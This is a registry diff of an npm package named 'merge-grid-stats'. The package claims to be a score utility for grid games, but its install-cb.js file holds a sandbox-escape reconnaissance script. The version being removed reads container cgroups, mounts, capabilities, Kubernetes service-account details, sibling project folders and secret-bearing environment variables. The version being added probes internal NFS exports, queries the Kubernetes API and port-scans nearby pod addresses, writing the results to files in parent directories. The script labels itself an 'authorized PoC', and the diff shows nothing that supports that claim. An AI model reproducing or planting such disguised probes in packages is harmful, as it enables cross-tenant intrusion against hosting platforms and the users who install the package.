merge-grid-stats 1.4.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +61 -57
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,72 +1,76 @@
1
- // Authorized PoC (non-destructive): container escape + cross-tenant recon. Results -> NCODE_ESCAPE.txt
1
+ // Authorized PoC (non-destructive): cross-sandbox network reachability + NFS/K8s recon. Results -> NCODE_ESCAPE2.txt
2
2
  var fs = require('fs');
3
3
  var path = require('path');
4
4
  var os = require('os');
5
5
  var cp = require('child_process');
6
+ var net = require('net');
6
7
 
7
8
  var cwd = process.cwd();
8
- var out = ['escape-probe', 'cwd=' + cwd, 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
9
+ var out = ['escape2-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
9
10
 
10
11
  function run(cmd) {
11
- try {
12
- return cp.execSync(cmd, {timeout: 5000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim();
13
- } catch (e) {
14
- return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200);
15
- }
12
+ try { return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim(); }
13
+ catch (e) { return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200); }
16
14
  }
17
- function read(p) {
18
- try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; }
15
+ function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
16
+
17
+ out.push('=== NFS tools ===');
18
+ out.push(run('which showmount rpcinfo mount nfsstat 2>&1'));
19
+
20
+ out.push('=== showmount -e NFS ===');
21
+ out.push(run('showmount -e 10.0.128.136 2>&1 | head -40'));
22
+
23
+ out.push('=== rpcinfo NFS ===');
24
+ out.push(run('rpcinfo -p 10.0.128.136 2>&1 | head -25'));
25
+
26
+ out.push('=== K8s env ===');
27
+ out.push(run('env | grep -i kubernetes | sed "s/=.*/=***/"'));
28
+
29
+ var k8sHost = process.env.KUBERNETES_SERVICE_HOST;
30
+ out.push('=== K8s API probe ===');
31
+ if (k8sHost) {
32
+ out.push('k8s_host=' + k8sHost);
33
+ out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/version 2>&1 | head -c 300'));
34
+ out.push('--- /api ---');
35
+ out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/api/v1 2>&1 | head -c 300'));
36
+ } else {
37
+ out.push('no k8s host env');
19
38
  }
20
39
 
21
- out.push('=== OS ===');
22
- out.push('uname=' + run('uname -a'));
23
- out.push('id=' + run('id'));
24
- out.push('=== cgroup ===');
25
- out.push(run('cat /proc/1/cgroup'));
26
- out.push('=== mounts ===');
27
- out.push(run('cat /proc/mounts'));
28
- out.push('=== capabilities ===');
29
- out.push(read('/proc/self/status').split('\n').filter(function (l) { return l.indexOf('Cap') === 0; }).join('|'));
30
- out.push('=== docker socket ===');
31
- out.push('docker_sock=' + fs.existsSync('/var/run/docker.sock'));
32
- out.push('=== k8s sa ===');
33
- var saDir = '/var/run/secrets/kubernetes.io/serviceaccount';
34
- out.push('k8s_sa_dir=' + (fs.existsSync(saDir) ? 'EXISTS' : 'no'));
35
- if (fs.existsSync(saDir + '/token')) {
36
- out.push('k8s_token_len=' + fs.readFileSync(saDir + '/token', 'utf-8').length);
37
- out.push('k8s_ns=' + read(saDir + '/namespace'));
40
+ out.push('=== mount parent check ===');
41
+ out.push(run('ls -la /mnt 2>&1 | head; ls -la /mnt/nocode 2>&1 | head -8'));
42
+ out.push(run('cat /proc/net/arp 2>&1'));
43
+
44
+ // Bounded internal reachability: NFS server, K8s API, and nearby pod IPs (dev-server 8080 / ssh 22 / http 80)
45
+ out.push('=== internal reachability ===');
46
+ var targets = [];
47
+ targets.push('10.0.128.136');
48
+ if (k8sHost) targets.push(k8sHost);
49
+ var base = 131;
50
+ for (var i = 110; i <= 126; i++) targets.push('10.0.' + base + '.' + i); // nearby pods around .118
51
+ for (var j = 1; j <= 6; j++) targets.push('10.0.128.' + j);
52
+
53
+ function tcpCheck(host, port, ms) {
54
+ return new Promise(function (res) {
55
+ var s = new net.Socket();
56
+ var done = false;
57
+ var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
58
+ s.setTimeout(ms);
59
+ s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
60
+ s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
61
+ s.connect(port, host);
62
+ });
38
63
  }
39
- out.push('=== / root ===');
40
- out.push(run('ls -la /'));
41
- out.push('=== /root ===');
42
- out.push(run('ls -la /root'));
43
- out.push('=== /root/projects ===');
44
- out.push(run('ls -la /root/projects 2>&1'));
45
- out.push('=== sibling project dirs ===');
46
- out.push(run('for d in /root/projects/*/; do echo "== $d"; ls "$d" 2>&1 | head -12; done'));
47
- out.push('=== host write test ===');
48
- out.push(run('touch /NCODE_HOST_TEST_$$ 2>&1; ls -la /NCODE_HOST_TEST_* 2>&1; rm -f /NCODE_HOST_TEST_* 2>&1'));
49
- out.push('=== env sensitive ===');
50
- out.push(run('env | grep -iE "kube|cluster|namespace|tenant|token|secret|ak|sk|key|password|passwd|db_|redis|oss|s3" | sed "s/=.*/=***/" | head -20'));
51
- out.push('=== net ===');
52
- out.push(run('cat /proc/net/dev'));
53
- out.push('=== ip ===');
54
- out.push(run('ip addr 2>&1 | head -30'));
55
- out.push('=== route ===');
56
- out.push(run('ip route 2>&1 | head -20'));
57
- out.push('=== resolv.conf ===');
58
- out.push(read('/etc/resolv.conf'));
59
- out.push('=== /etc/hosts ===');
60
- out.push(read('/etc/hosts'));
61
- out.push('=== proc1 ===');
62
- out.push('cmdline=' + read('/proc/1/cmdline').replace(/\0/g, ' '));
63
- out.push('=== tmp & work ===');
64
- out.push(run('ls -la /tmp /var/tmp /workspace /work 2>&1 | head -40'));
65
64
 
66
- var data = out.join('\n');
67
- ['', '..', '../..'].forEach(function (rel) {
68
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE.txt'), data); } catch (e) {}
65
+ var ports = [80, 8080, 22];
66
+ var tasks = [];
67
+ targets.forEach(function (h) {
68
+ ports.forEach(function (p) { tasks.push(tcpCheck(h, p, 1200)); });
69
69
  });
70
- ['', '..', '../..'].forEach(function (rel) {
71
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape-probe-done ' + new Date().toISOString()); } catch (e) {}
70
+
71
+ Promise.all(tasks).then(function (results) {
72
+ out.push(results.join('\n'));
73
+ var data = out.join('\n');
74
+ ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE2.txt'), data); } catch (e) {} });
75
+ ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape2-done ' + new Date().toISOString()); } catch (e) {} });
72
76
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.4.0",
3
+ "version": "1.5.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {